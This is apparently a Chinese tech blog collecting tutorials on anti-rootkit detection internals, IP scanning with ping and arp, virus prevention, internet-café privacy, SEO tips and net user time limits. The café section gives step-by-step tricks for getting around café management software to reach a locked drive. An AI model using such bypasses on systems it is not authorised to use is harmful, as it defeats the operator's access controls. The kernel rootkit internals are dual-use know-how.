收集整理一些技术,经验的教程文章.

推荐:简单认识Anti-RootKit

[ 2007/11/06 03:39 | by pling ]
现在RK(rootkit)和ARK(anti-rootkit)的斗争已经进行了很久,在印象中最早出来的ARK工具是冰刃(IceSword),从冰刃开始出来到现在RK和ARK的斗争一直在继续,目前冰刃还是在流行当中,自己感觉也正是冰刃的出来才带动了当前流行的RK和ARK的斗争 呵呵,现在很多病毒木马已经广泛的带有驱动,使用一些RK的技术和方法使自己更底层些更强大些,当前流行的ARK工具主要包括:隐藏进程检测,内核驱动检测,SSDT检测,代码HOOK检测,注册表隐藏的检测,隐藏文件的检测等一些功能的,下面谈谈自己对一些功能的简单愚见 嘻嘻。

关于进程检测:其实最早在R3下隐藏进程的方法已经很早开始流行起来被用到各种软件上来,在R0下如断ActiveProcessLinks链,擦掉句柄表等等,一步步的发展渐渐的更强大起来一些技巧和方法开始出来和流行起来,如FUTO,phide_ex等。。。。。。

检测隐藏进程的方法可以把一些现在流行的方法组合起来用,首先可以通过进程的EPROCESS结构中的进程活动链表ActiveProcessLinks来进行扫描一边,可以通过进程句柄表的枚举通过EPROCESS的HANDLE_TABLE,HANDLE_TABLE结构中的HandleTableLis链表来扫描一边来获得一些EPROCESS,可以通过定位PsLookupProcessByProcessId代码中的PspCidTable链表扫描一边获得一些EPROCESS,PspCidTable在各系统中枚举是不太一样的,也可以通过先找出KiWaitInListHead,KiWaitOutListHead和KiDispatcherReadyListHead这些链表然后对这些链表扫描获得一些EPROCESS,以上具体的实现代码可以GOOGLE之网上实现的代码已经很多了,再者也可以找到内核中的线程切换SwapContext函数进行HOOK下的,在自己实现的SwapContext函数根据线程的偏移量找出进程的EPROCESS结构,把上面获得的所有EPROCESS汇集起来还需要判断下当前进程是否是真正的活着的:)可以通过EPROCESS里的标志位Flags(如XP 下0x248)一些标志判断下的,还要注意下对上面这些链表汇集起来是会有重复的进程的,在你自己的汇集函数中根据EPROCESS判断下的 废话了,感觉实现了上面的一些方法对付一般的隐藏进程已经足够了的,但厉害的RK还是有的,现在存在可以逃过这些方法的RK的,在进程EPROCESS的结构里偏移0x1f8(XP SP2下)有个struct  MMSUPPORT Vm结构:

struct _MMSUPPORT
{
/* off 0x00000000 */    union LARGE_INTEGER    LastTrimTime;
/* off 0x00000008 */    struct  MMSUPPORT_FLAGS    Flags;
/* off 0x0000000C */    unsigned long    PageFaultCount;
/* off 0x00000010 */    unsigned long    PeakWorkingSetSize;
/* off 0x00000014 */    unsigned long    WorkingSetSize;
/* off 0x00000018 */    unsigned long    MinimumWorkingSetSize;
/* off 0x0000001C */    unsigned long    MaximumWorkingSetSize;
/* off 0x00000020 */    struct _MMWSL*    VmWorkingSetList;
/* off 0x00000024 */    struct LIST_ENTRY    WorkingSetExpansionLinks;
/* off 0x0000002C */    unsigned long    Claim;
/* off 0x00000030 */    unsigned long    NextEstimationSlot;
/* off 0x00000034 */    unsigned long    NextAgingSlot;
/* off 0x00000038 */    unsigned long    EstimatedAvailable;
/* off 0x0000003C */    unsigned long    GrowthSinceLastEstimate;
};

在这个结构里+0x24有个    WorkingSetExpansionLinks他也是个LIST_ENTRY链表的,遍例下他可以获得进程的EPROCESS的,如
PEPROCESS eprocess, eprocess2
eprocess =PsGetCurrentProcess();
lp=(PLIST_ENTRY)(*(PVOID )((PUCHAR)eprocess+0x1f8+0x24+4));
cur =lp->Flink;
for(;cur!=lp;cur=cur->Flink)
{
eprocess2=(PEPROCESS)((ULONG)cur-0x1f8-0x24);
PVOID session= (PVOID)(*(PULONG)((PCHAR) eprocess2+ 0x170));
if(MmIsAddressValid(session)){
AddProcess(eprocess2);
}
}

再者在进程EPROCESS的结构里偏移0x0b4(XP SP2下)存在个struct _LIST_ENTRY    SessionProcessLinks结构,他也是个链表的 :)通过遍例他也可以的获得一些EPROCESS。还有个地方可以的 呵呵 在每个线程对象里(ETHREAD)偏移0x34里有个struct _KAPC_STATE ApcState 结构的在_KAPC_STATE结构里偏移0x10,再者也可以通过遍例内存来查找隐藏进程,从内存MmSystemRangeStart开始到System进程的EPROCESS地址就可以了主要是判断这个地址是否是个有效的进程,方法挺多的如判断下是否是进程对象这个地址如果是EPROCESS看看PID,ThreadListHead,ReadyListHead是否正确有效的等等,很多方法的应该组合起来判断下保证肯定是进程就可以了,还可以通过HOOK一些函数的如KeUpdateRunTime,KeDispatchInterrupt等来检测隐藏进程,还可以设置下PsSetCreateProcessNotifyRoutine在每次进程创建的时候对线程插入个APC的来进行统计检测的,其实我觉得对于检测隐藏进程的方法技巧还有很多,伟大的WINDOWS还需要我们挖掘呀。进程的结束可以通过调用ZwTerminateProcess或者调用未公开的PspTerminateProcess函数的,关于这个函数在网上已经很广泛了,可以通过遍例进程的每个线程调用PspTerminateThreadByPointer的结束每个线程的,这些未公开的函数都需要事先的查找和定位的,还可以使用RKU(RkUnhooker)的内存清零大法的切换到该进程然后对该进程内存清零RtlZeroMemory,再者也可以对该进程的每个线程插入APC来结束进程的,最后如果你有时间你也可以通过观看2K的代码自己来实现进程的结束。
内核驱动检测首先你可以通过ZwQuerySystemInformation的SystemModuleInformation功能号来枚举内核驱动的,然后可以通过打开目录对象,进行枚举代码就略了GOOGLE之吧,也可以通过枚举IoDriverObjectType和IoDeviceObjectType对象类型进行查找枚举顺便把他们的DeviceObject和AttachedDevice等也枚举下吧,接着可以通过查找PsLoadedModuleList对该链进行下枚举的,可以对这个目录对象再搜索一边的”\\Driver”。通过对上面这些方法的枚举可以查找到很多驱动对象了,相信现在你的驱动对象链表已经够多了 嘿嘿,够累吧,接下来,你可以对上面你已经查找到的驱动对象的0x38偏移MajorFunction查找一边看看他的地址是否在已知的驱动地址范围内,如不在你知道该怎么办的,再对MajorFunction里的每个例程地址找一边的从0到28也看看他们的地址是否在已知的驱动地址范围内,最后再说一种的方法的,也可以像进程那样内存枚举的,像进程那样从MmSystemRangeStart开始枚举吧,判断下是否是PE文件有没有那几个关键PE特征的,如MZ,PE等,看看是否存在PE文件头是否有效,看看这个地址是否已经是你检测出来的驱动地址的,避免重复的,看看你所检测出来的所有驱动对象的MajorFunction[X]和DriverStartIo是否有在这个地址,如果有并且这个地址你先前没有检测出来没有重复的他很有可能是个未知的驱动的,其实和进程内存查找一样的,关键是判断的,需要判断对的,肯定他是某个对象的然后你就可以把他加如到你自己的某个链表里。最后也可以通过对一些关键函数的HOOK 如ExAllocatePool,ExAllocatePoolWithTag等在自己实现这些函数里记录下esp+0x24地址的,对这些地址进行判断的来看看这些地址是否包含在某些内核模块当中当然还需要判断下他是否就是个PE驱动文件,这种方法就是RKU用到的方法的。驱动就说这些吧。

前面说得太多了,后面说少点吧 嘿嘿。

关于SSDT HOOK的检测,通过定位ntoskrnl.exe磁盘文件里KeServiceDescriptorTable与内存中的KeServiceDescriptorTable对各个服务函数进行比较就可以的。代码网上很多的。

关于代码HOOK检测,我也不想说什么的,可以对内存中ntoskrnl.exe 的导入函数和导出函数与磁盘文件中的地址进行比较,也可以通过对ntoskrnl.exe PE文件里的某些节(section)进行扫描的,再加上对一些关键文件的导入函数和导出函数进行扫描,加上对某些关键驱动(如文件系统驱动)的MajorFunction里的每个例程进行扫描,再者对IDT,GDT扫描下的。

关于注册表隐藏的检测,首先可以用到把一些注册表相关的函数INLINE HOOK的SSDT HOOK的都恢复下再使用的其实所谓的不相关的也需要UNHOOK下的,如badrkdemo 他就HOOK了ObOpenObjectByName函数组织对注册表的访问的 具体的看情况来吧 哈哈,也可以通过对一些未公开的函数进行使用的CM系列函数的,再者可以通过分析HIVE文件的来显示注册表各个项的,通过分析HIVE文件其实也不是很难的,了解了HIVE文件结构和HIVE文件的组织的,就可以读他了,这些资料网上可以找到的,通过读HIVE文件来给用户显示当前注册表各个项的可以的但我并不推荐自己改写系统的HIVE文件的,如提供DELETE MODIFE等功能的我觉得如改的不好,或结构没有完全清楚的,写到HIVE文件里是错误的,那么当再次启动时系统读HIVE文件时就不好过了,自己一点愚见,如果你够强大当然是没有问题的。

关于隐藏文件的检测,现在流行的隐藏文件的RK很多的,如Unreal.A,AK922等,自己可以通过在驱动中自己构建IRP包自己发送给文件驱动的方法的,还有就是先恢复些关键函数的,像注册表那样的,恢复INLINE HOOK SSDT HOOK,文件驱动关键例程HOOK的,现在流行HOOK内核的完成例程的,HOOK是防不胜防的,还要注意下附加在文件系统上的一些过滤驱动的,还有就是通过使用DeviceIoControl发送一些特殊的IoControlCode控制代码给文件系统的,这需要对文件系统的熟悉的,还有就是自己分析磁盘文件的对FAT32,NTFS等格式文件系统自己分析来查找文件的,关于自己分析磁盘文件的,网上的信息和资料也是很多的,首先判断下属于哪个文件系统,然后根据特定的文件系统格式自己分析的就可以的,其实这些方法的关键是怎么读和写的,读和写做到最底层,把读和写做好我想他检测文件功能是强大的。

够了,一些ARK的功能说到这就可以了,我希望各位搞RK的和ARK的人看了之后又会作出很多厉害,强大的东西来,希望看了之后会对各位有一点帮助的,希望可以在当前流行的RK和ARK中会有更新更强大的东西出现的,来激励我们学习和前进的,引用一位好友的话“现在感觉大部分木马病毒什么的都是用的老一套东西的什么SSDT HOOK的。。。。。。,希望可以有些新的技术出现的”,其实现在有些RK是很牛的,其实都是一个目标的 希望技术和知识可以不断进步的 嘿嘿。一个没有未来的人:)谈谈关于RK和ARK未来的发展 RK 更底层,ARK也更底层,攻和防,RK和ARK的斗争会继续的,RK会出现固化在某个文件里,会在重装系统后还会存在,会写到硬件中。。。。。。,ARK势必也需要对这些问题关注的。

谢谢各位看完文章的,本人一介小菜知识有限,以上是自己的一点愚见,如有什么错误和不足之处,请各位指教。

本文之中的有些知识是朋友和一些牛人给予帮助,谢谢他们的帮助。
Tags: ,
问:我是一个小公司的网络管理员,最近总是出现IP地址冲突的问题,另外由于经常有外来人员使用笔记本连接公司网络,再加上公司的IP地址因为某种原因是手动设置的固定IP,公司对于IP地址分布也没有留有任何记录信息,所以当有新计算机要连接到网络中时只是随便设置一个,挑选的地址也是那些分布在网络末尾或比较大的数字,但是久而久之随意设置的IP地址过多,在新计算机连接网络时再设置IP地址很容易造成冲突。请问IT168的专家是否有好办法可以解决我目前遇到的问题,帮助我在设置IP地址前对网络中的所有IP地址进行扫描,明确哪个IP被占用,哪个没有被占用。当然了解了如何扫描网络中已占用的IP地址的话,我就可以将扫描到的地址打印进行保管,以后新计算机接入网络不使用这些地址即可。

  答:在网络中出现IP地址冲突的问题是非常麻烦的,一方面他扰乱了我们网络管理员管理网络,另一方面他影响了普通用户的正常上网。特别是对于部分中小公司来说经常将IP地址与网络资源访问权限相关联,一旦IP地址被占用非法用户将能非法使用网络资源。遇到这种情况我们如何查出哪个IP地址被占用呢?

  正如前面网友提出的问题一样,当公司使用手动设置IP地址且没有有效管理设置的IP地址的话,很容易出现随意设置地址并经常冲突的问题。遇到这种情况也需要我们学会扫描整个网络,将已经连接到网络中的IP地址进行记录,防止地址冲突现象的发生。我们主要有以下几个办法可以帮助大家扫描网络中已用的IP地址。

  方法一:原始ping法

  第一个方法比较简单,而且受环境限制比较大。众所周知在没有安装防火墙和设置过滤规则的计算机上都容许ICMP协议数据包的通过,那么我们可以通过“ping ip地址”这个命令来查看该IP地址是否有计算机使用。

  通过任务栏的“开始->运行”,输入CMD后回车进入命令行模式。假设公司网络是192.168.1.0/255.255.255.0,那么我们可以通过ping 192.168.1.1,ping 192.168.1.2......ping 192.168.1.254来测试IP地址是否被占用。

  由于原始ping法比较简单,这里就不详细说明了,但是这种方法遇到计算机上安装了防火墙对ICMP协议进行过滤的话,或者公司交换机和路由器上对ICMP实施ACL访问控制列表过滤的话就不可行了。因此这个方法受的局限比较大,一般测试的成功率不高,很容易把安装了防火墙的计算机对应的IP地址认为没有被使用。

  方法二:扫描器扫描法

  以前笔者在进行网络安全工作时就经常使用扫描器扫描网络中各个主机的漏洞,那么现在我们完全可以使用此方法来查看本网络有哪些IP地址被占用。由于扫描器扫描时并不是仅仅使用ICMP协议进行ping,我们可以设置,让扫描器多扫描几个端口,多扫描几个服务。这样即使计算机上安装了防火墙或者交换机上有访问控制列表过滤ICMP协议,只要该计算机开放了某些端口或某些服务,就不会出现漏报的问题。

  通过扫描器扫描出来的IP地址列表还可以导出成HTML文件或TXT文件,这样方便我们保存和统计。

  当然扫描器工具很多,这里推荐大家使用安全焦点出的X-SCAN和LANHELPER,感兴趣的读者可以自行下载使用。

  使用扫描器扫描法可以查看出网络中几乎全部计算机使用的IP地址,但是对于那些极个别的设置了防火墙的复杂规则,过滤了大部分常用端口和常见服务的计算机来说,还是会或多或少的出现漏报或错报的问题,再加上扫描器扫描法还需要我们下载专门的工具,所以也给操作上带来了不方便。

  方法三:sniffer监视法

  作为网络管理员的我们应该都会使用sniffer,那么我们只需要在网络中开启sniffer对网络传输的数据包进行监视,过一段时间就会查出有哪些IP地址有数据包发出,这样就可以确定该IP地址已经被占用了。

  不过用sniffer的方法不能将已经占用的IP地址保存成文件输出,而且给人有一种大材小用的感觉,毕竟sniffer正统不是用来做扫描IP地址的。

  方法四:ARP缓存法

  实际上笔者还发现了一个方法可以解决网友提出的问题,他的原理是通过ARP缓存来查看获得的,不用使用任何第三方工具,使用系统自带的ARP -A即可。

  ARP缓存法是以前面介绍的ping法为基础而来的,对于安装了防火墙或设置过滤规则的计算机来说直接ping该IP地址是得不到返回信息的,但是有一点我们必须注意,那就是虽然无法从ping的返回信息中得出该IP地址是否被占用,但是从ARP缓存中却可以看出来。防火墙等过滤设置可以不容许ICMP协议返回数据包给源地址,但是由于ARP是工作在二层上的,所以在ICMP协议数据包被过滤前ARP已经通过查看MAC的方式获得了网络中在线主机的MAC地址。

  只要网络中的计算机想上网,那么他一定会将自己网卡的MAC地址告诉与其连接的交换机,接下来交换机也会进一步将他知道的MAC地址信息反馈给使用ping的主机。这样我们在使用ping的主机上就能够通过是否获得MAC地址的方式来了解该IP地址对应的计算机是否在线了。

  通过任务栏的“开始->运行”,输入CMD后回车进入命令行模式。假设公司网络是192.168.1.0/255.255.255.0,那么我们可以通过ping 192.168.1.1,ping 192.168.1.2......ping 192.168.1.254来测试IP地址是否被占用。当然不管ping返回的是通还是不通,全部ping完后执行arp -a命令显示ARP缓存表,出现在缓存表中的IP地址就是被占用的地址。

  对批处理命令熟悉的网络管理员还可以自行编辑一个BAT命令来完成上面的一系列ping操作,BAT文件的内容如下:

  FOR /L %i IN (0,1,255) Do ping X.X.X.%i -n 1

  arp -a > IP.txt

  这个批处理文件将列出所有正在使用的IP地址跟他们的MAC地址,保存到ip.txt文件中。当然语句中的X.X.X.%i是可以进行修改的,例如公司网络为192.168.1.0/255.255.255.0那么应该修改为

  FOR /L %i IN (0,1,255) Do ping 192.168.1.%i -n 1

  arp -a > IP.txt

  最后再把这个方法的原理进行总结——我们向网段内所有IP地址发送一个icmp包,也许他屏蔽了ICMP包,但是这不要紧,只要他使用了该IP地址就一定会回应一个他的mac地址的数据包过来,这样用arp -a察看本地的arp缓存就能看到他的IP地址跟MAC地址了。

  小提示:

  我们也可以使用nbtstat -A IP命令来替代arp -a命令。

  也许有人会问计算机能够禁止ARP数据包的通过呢?实际上计算机上能禁止ICMP包,但是是不可能禁止arp包的,如果禁止了arp,那么交换机就找不到该计算机了,该计算机也无法连接网络,访问网络上的任何资源了。所以说ARP缓存法让我们通过现象看到了本质,即使ping无法返回任何有用信息,但是实际上他已经帮助我们找出了在线主机对应的MAC地址,进一步了解了他的IP地址。

  总结:

  本文介绍了四种方法来解决查看网络中已经使用的IP地址的办法,当然各种方法有各种方法的特点,有的使用了第三方工具但是查看地址列表更加清晰,有的没有使用软件仅仅采用系统自带命令但是受到网络环境的局限,而有的虽然没有任何工具,但是需要编写批处理文件,难度较大。当然究竟采取哪个方法来解决实际问题,是需要我们这些网络管理员自己去比较,自己去选择的。个人推荐使用第四种方法——ARP缓存法。

Tags: , ,
很多朋友问我,我的电脑为什么三天两头的中招,安装了杀毒软件,甚至重新做系统都没有用。每次遇到这样问题的朋友,我总是很苦恼,有句话叫做“冰冻三尺,非一日之寒”,电脑病毒也是如此,所以,我无法解答。

    电脑中病毒的原因很多,比如使用随意打开网友发来的文件,U盘没有专用性,浏览恶意网站等,而且我渐渐发现,现在国内病毒似乎都开始为木马服务,电脑今天中招了,明天你就不知道你丢的到底是银行帐号,QQ帐号还是其他的什么。

    现在市面上有不少杀毒软件,但是真正全面通杀的是在少之又少,而且各个价格不菲,普通老百姓家庭用的电脑就是因为价格原因一直在“裸奔”

    那么有没有办法让病毒远离你呢?我可以很负责的说:有!

    下面我就来告诉大家电脑防毒的一些小诀窍。

    绝杀1:你是不是经常发现有陌生的、熟悉的网友给你发文件过来?或者是给你发彩铃什么的、现在更先进了,直接伪装成游戏邀请,你要接受,那你惨了,电脑马上被占领是一定的了。那么我们该如何防止呢?很简单:一律拒绝!不管是什么文件,什么邀请,全部都问明白了再接,而且,就算是接也只限于熟悉的人,陌生人干脆拒绝,你别看他给你发的东西超级诱惑,诱惑的背后可就是陷阱哦!

    绝杀2:U盘传播可是一个重要的病毒传播途径,尤其是公用U盘,与其叫它U盘还不如叫毒包!可是U盘里的重要文件你又不得不看,这可怎么办?没关系!稍微修改一下组策略,你就可以把主动权掌握在自己的手里。

    对于很多朋友来说,修改组策略可能是一件很难的事,其实没什么难的,跟我按照以下步骤去做,就OK。

    第一步、点击“开始”选择“运行”,键入“gpedit.msc”,并运行,打开“组策略”窗口;
    第二步、在左栏的“本地计算机策略”下,打开“计算机配置_管理模板_系统”,然后在右栏的“设置”标题下,双击“关闭自动播放”;
    第三步、选择“设置”选项卡,勾取“已启用”复选钮,然后在“关闭自动播放”框中选择“所有驱动器”,单击“确定”按钮,退出“组策略”窗口。

    好啦,现在你已经关闭了自动播放,插上U盘,先杀毒,然后再打开,记得一定要杀毒后打开哦·

    当然,这样的方式只能禁止U盘自动播放,而不能禁止CD,要是CD有毒,那我建议你扔了这破盘!我记得熊猫烧香肆虐的时候,我买了张XP的盗版盘,结果里面就带熊猫烧香!

    绝杀3、使用防毒功能更强的FireFox

    说到这个很多人都认为我在做广告,其实不然,我做过一个实验,我自己写了一个小的自动运行程序,这个程序可以修改注册表,以达到修改主页的目的,然后我给这个程序做了免杀,用最新版本的杀毒软件都没有杀出来,用普通IE一打开带有程序的网页,我的注册表马上被修改,可是当我用FireFox的时候,忽然发现居然没有运行,而且居然有提示!这让我实在欣慰

    你可以想象一下,现在大多数病毒都是从恶意网站带来的,你要是用电子银行,Q,甚至玩游戏,那你的帐号····

    所以我强力推荐使用FireFox!

    这样的几招,我虽然不敢保证你的电脑就没有病毒侵扰了,但是依然可以防止80%的病毒,你要是有任何你觉得机密的密码,文件等,我建议你一定按照我上面说的几个办法去做,加上在网上所获得的一些免费杀毒软件的帮助,我想,你绝对可以让你的电脑成为健康的工具的!

Cookie记录 

  Cookie是Web服务器发送到电脑里的数据文件,它记录了诸如用户名、口令等重要信息,甚至包括你的银行帐户信息! 

  如果要查看Cookies,必须要访问C分区。可是网吧的管理软件一般禁止访问该分区,例如现在流行的管理软件美萍、万象、还原精灵等,虽然它们各有不同,但大体的工作原理却很相似:用虚拟的桌面环境取代Windows桌面,通过设置禁止各种Windows系统的基本操作,迫使用户只能在软件的限制下活动。解除网管的关键就是如何访问到本地硬盘,一旦进入了本地硬盘,删除cookie以及后面要讲的其它个人信息就不在话下了。 

  呵呵,不要着急,请用鼠标跟着来。 

  第一招:随便打开一个网页,然后点击IE浏览器菜单中的“文件”→“另存为”,然后在弹出的窗口中选中任意一个文件夹,接下来按Shift+F10键调出鼠标右键,选择其中的“资源管理器”或“我的电脑”便可以打开选中的文件夹。 

  第二招:如果你运气不那么好的话,“资源管理器”和“My Documents”等窗口都被禁止了,第一招便无效。不过,网吧绝对不会没有QQ程序的,嘿嘿,打开自己的QQ,然后点击面板上的“TE浏览器”图标,启动TE浏览器,美萍所做的设置对IE管用,但是对TE却一点用都没有。你瞧是不是什么都出来了? 

  第三招:不会这么倒霉吧?对方将“Tencent EXPlorer”也加入到“管理”选项卡的“禁止”选项卡中啦?不要失望,请单击IE的收藏夹图标,浏览器出现了一个收藏夹项目区,选择其中任意一个项目,点击鼠标右键,选择“属性”,在“属性”对话框中地址栏项写的就是该收藏项目的URL,将之删除,改为“C:(或者其他你想访问的盘符)”,点击“确定”保存退出,重新回到浏览器窗口,再点击刚刚修改过的收藏夹,哈哈,进去了行了,现在打开c:\windows\cookies目录,就可以赫然看到自己曾经浏览过的一些网站消息,敢情还在呀。多留一天多一天患害!那就删呗! 
  QQ记录 

  在网吧上网,要重点保护的自然要算上QQ了,一些QQ盗窃程序都是冲着你在网吧中留下的QQ记录而去的。我们上网用户如果能在网吧上网后及时删除机器里记录有个人信息的文件,就可以避免大多数的攻击者,而不必担心被利用而破解出了密码。解决办法就是在离开网吧前,在QQ的快捷方式上单击鼠标右键,在弹出菜单里选择“属性”,在“目录”一栏中找到QQ所在目录的路径,进入,看到用你的号码命名的文件夹,然后干净地删除这个文件夹。 

  可是打住、打住,网管软件如果不允许你删除文件,也禁止了你的右键,又该如何应对呢? 

  别着急,请再跟着做。 

  第一步:打开微软拼音输入法(如没有用其它输入法也可)。 

  第二步:将光标插入会员卡号的文本输入框内,接着开始往里面输入任意一个拼音字母,然后就会出现拼音的状态条,在状态条上点击右键,或用键盘上的属性键,就会出现一个下拉菜单,选择其中的定义词组(放心,就算系统限制右键,在这也不管用)。 

  第三步:如果网管软件将右键锁住了,你则还需要将右键给调出来了,在网页中遇到禁用右键的情况我们会想出许多的办法来破解,其实这些方法中有的也能移动到操作系统中的。就介绍最常用的也最有效的一种方法吧:在需要操作的文件或快捷图标上先点住右键不放,再点下左键,然后松开左键,最后松开右键,这时熟悉的右键菜单便呈现在眼前了。另外还有一招更普通的,用鼠标左键单击选中要删除的文件,同时按住shift+F10键,即可在资源管理器中显示出鼠标的右键菜单。 

  第四步:右键出来后,可接着第二步来做,再选择文件菜单里面的“存为文本文件”保存 

  第五步:在弹出对话框后,随便选择一个文件夹,点击右键,选择资源管理器! 

  第六步:选择自己想要删除的文件夹和文件,一切OK。 

  以上删除方法百试百灵,网管软件没有防御的方法。 

  第七步:有些用户不想删除自己的记录,可以用Winzip把账号目录压缩为一个包文件,给包文件加上一串拗口的密码,再给它换一个别人意想不到的扩展名。在压缩时应将“执行”设为“移动文件”,并在“包含文件夹内容”和“保存其它层文件夹信息”选项前都打上钩。当压缩完成后,账号目录内已经空无一物,你再也不用担心秘密曝光了,除非别人知道压缩包的文件名称和密码。再把包文件放到硬盘上一个不引人注意的角落里或是软盘上。至于恢复,直接用Winzip解包到QQ的安装盘上就行了。也可以保护网吧里的QQ隐私。

Tags: ,

最近一段时间比较忙,自己的IDC站和资讯站基本完成80%,最近倒是帮人研究了不少词:火狐,小说,家具,私服,月饼,非主流……

  感觉很多网友在SEO操作的时候,或者新站即将上线的时候。网站大体的方向,以及一些基本SEO的操作都明白,但是对于很多细节的把握上有所欠缺。这里主要说下SEO经常忽略的细节问题。

  引用一句名言:细节决定成败。

  在SEO方面虽然我不敢说细节绝对能决定成败,但是在某些程度上细节真的能起到四两拨千斤的作用。

  第一,选择与关键字含义相近的域名

  搜索引擎,至少百度是比较聪明的。域名中包含关键字可起到很好的相关性作用,绝对起到加分的作用。这点不用怀疑。

  如果你是新站上线,那么建议你在选择好关键词后。注册一个与你关键字含义相近或者相同的域名。最常用的手段是用拼音。或者在你的域名中包含关键字拼音。在百度搜索"SEO"看一下。第一页上的站,基本域名中全部带有"seo"这个词。比如著名的小说网:http://www.xiaoshuo.com 直接就是小说的拼音。

  第二,网站程序的选择

  这一点同样比较重要,有一个好的网站程序你会事半功倍。

  作SEO说到网站程序,估计多数人首先会想到zblog.上次渡虎谷大赛中它也算是被SEO了一把。确实这个程序不错,但是也确实这个程序现在用的实在是太泛滥了。而且不要忘了它是一个博客程序。robin也曾在文章中提到SEO怪现像之一就是随便建个博客就把自己当成是专业SEO.但是你在单独目录中加一个博客有时也不失为一个好办法。

  我曾给一个私服站www.kkkwol.com建议在根目录下加一个zblog(发现这个行业多数是静态站)并经常更新,以带动收录和抓取以及网站首页的更新,现有这个站的排名在百度/GG/yahoo都不错。虽然排名上去与zblog没有绝对关系,但是初期预想的效果,它都起到了预想的效果。

  点石论坛:http://www.dunsh.org所用的DZ论坛程序也是个非常好的系统,高手修改一些相关设置,可以作成大站。博客作SEO最大的硬伤在于他缺少交互性,只能由博主发贴,看客只能作回复。再一个,博客也难以作成一个大站。我在这里只是建议大家如果要想长久的作站,最好选择一套CMS系统。用CMS作站的最大好处是一般好的CMS内部优化作的不错,特别是目录结构很适合蜘蛛的抓取。功能只要有tag,可自定义目录,每页可定义关键字与描述等基本功能就可以,kingcms我个人用的比较多。当然还有dedecms这个是PHP有的时候比较麻烦一些。

  第三,网站空间的选择

  这一点,可能在意的人不多。而且现在卖空间的太多。据我了解,现在买空间的站长多数还是图个便宜。这里我举一个实例:用万网的空间,比用一些垃圾IDC的空间要好的多。收录快。而且稳定。这是因为百度对万网IDC站的IP段信任度比较高。这一点新手听起来可能有点悬,但是买空间多的老手肯定有感觉。很多垃圾IDC卖空间。一台服务器上可能存在上百个网站,这个可以用工具查的出来。如果上面都是些乱七八糟的站。一但这台服务器上同时超过三到五个站被K.那么你的站很有可能受到牵连,我以前也说过:百度有连坐效应,比较狠。如果你有条件,最好是租用一台独立服务器,上面只放自己的网站,但是这样花费高一些。

  第四,链接质量问题

  作站长的,特别是喜欢SEO的。肯定每天都要交换几个友情链接。这是很正常的。现在作链接多数都是要求对方与自己的网站有一定相关性再换。这是个好习惯。但不是唯一标准。换链接的时候不要在在乎PR值,它对排名起不到什么作用,而且刷上去的爆多。没有相关性,但是对方站在引擎中有某个热门关键字排名很好建议交换。收录时间不长,页数不多,链接JS调用,但是世界排名很高的,没有必要换。最后,外部链接一定要经常维护,看一下链接站有没有删你的链接,看一下对方站是否正常。一般每周检查一次。
 第五,多利用长尾词

  很多新手刚接触SEO或者是一些老手操作SEO的时候,经常把目标一下子定的过高,导致搞的自己很累且排名效果不好。举个例子,前几天有人跟我说,他想把小说这个词用三个月的时间冲到百度第二页上去。我帮他看了一下说:这个目标不好实现。首先,这个词太热门,每天八九万的检索量,现有排名都已经是比较专业的站了,而且百度自己还为这个词竞价了(这点比较讽刺)。你完全可以看一下百度下面的相关搜索,找一个相关的长尾词竞争不很激烈的来作。后来朋友选了"言情小说"这个词。现在不到一月已经在第二页,当然用了一些黑帽手段,这里就不说地址了。

  说到长尾,还有一个朋友要作"传奇世界私服" http://www.99wol.com,很长时间以来不见效果,一个月前开始大量作尾词,比如:今天新开,最新,新开之类的。带动起主词来,传奇世界私服也开始在第二到第三页上浮动。这种词比较擦边不多作介绍。还有跑跑卡丁车(据说很多站长喜欢玩)这个词,主词基本作上去的希望不大。但是,你完全可以去作"跑跑卡丁车下载","跑跑卡丁车视频"等几个词,多几个长尾词上去,对主词有很大帮助。

  第六,关键字布局

  不管你懂不懂,首先不要作关键字堆积。新站堆积多了,只有两个结果,一是被K二是很难收录。老站如果堆积那就是降权了。关键字的布局要讲究合理。特别是你的描述中的关键字布局,最好是包含在一句很顺利的话里面,而且出现不要超过三次为好。一般首页顶部会有导航栏目,这里可以围绕关键字写一下栏目名。有些栏目名,可直接写成长尾词,但是同样不要太过,不要每个栏目名都包括关键字,这不是好现象。还有就是都知道的了,在页面的顶部,可以相对密集一点出现关键字。中间少之。底部可适当稍多。但是还是一句话:一定要让关键字合理顺应的出现不要生硬的连接。关键字的密度控制在2-6比较好,个人感觉。

  最后告诫一些新手:

  新手一开始最好是作尾词,因为见效果快。自己的理论实践起来也很容易见效果。

  不要去试图去作那些每天检索超过两万的词,除非你对自己超有信心。多作一些检索量在5000左右的比较适合。

  多看一些精品的SEO方面经验的文章,另外,更重要的是: just do it!

  还有:

  不要为了SEO去作站。搜索引擎优化只是网站推广的一个手段,绝不是网站的全部。

  不要为了GGAD或者某个联盟去作站,这样作没什么太大的前途。

  不要以为SEO是什么神秘的事,它其实很简单。

  作者:SEOTY

Tags: ,
作为网管员,你想限制你的雇员利用网络浏览不恰当的站点或者复制数据吗?如果你只想控制某人在没有监管的情况下不能访问互联网,应该怎样做呢?你可以限制指定账户的登录时间,并在此过程中获得你对机器和互联网控制的更大的控制。

通过使用活动目录以及计算机管理工具及配置文件,限制登录次数和登录时间并在一个Windows域中执行限制并不太复杂。不过,如果你拥有一个小型的工作组网络或者只是几台家用电脑,你可以使用net user命令,并且只需要几步就可以完成。

不过,在开始之前,你首先要决定需要限制哪些用户。如果你想列示一台计算机上的所有用户,请执行以下几步:

1.单击“开始”/“运行”,输入“cmd”,单击“确定”。

2.键入“net user”,回车。

这样就会列示一台计算机上的所有账户。下面给出列示结果的大体样子:


Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.
C:\Documents and Settings\ Administrator >net user
\\35341B67CC434F6 的用户帐户
-------------------------------------------------------------------------------
Administrator     her1        good
He1         myuser       letgo
Tomorrowusr
命令成功完成。

我们将要用到上面列表中的名字,并决定限制He1和her1对计算机(或互联网)的访问。为了便于记忆,需要将显示窗口中刚才显示的账户保留着。先从为He1增加限制开始。如果我们决定他只能在早上8点到晚上8点这段时间可以使用计算机。就需要执行下面的步骤:

1.单击“开始”/“运行”/“CMD”,单击“确定”。

2.键入如下的命令:

net user He1 /time: M-Th,4pm-8pm;F-Su,8am-8pm

(用户he1只能在周一到周四的下午四点到晚上8点,以及周五到周日的上午8点到晚上8点可以用计算机。)

3.按下回车键,这时你应该收到一个消息,告诉你这个命令已经成功完成。


C:\Documents and Settings\ Administrator >net user He1 m-th,4pm-8pm;F-Su,8am-8pm
命令成功完成。
C:\Documents and Settings\ Administrator >

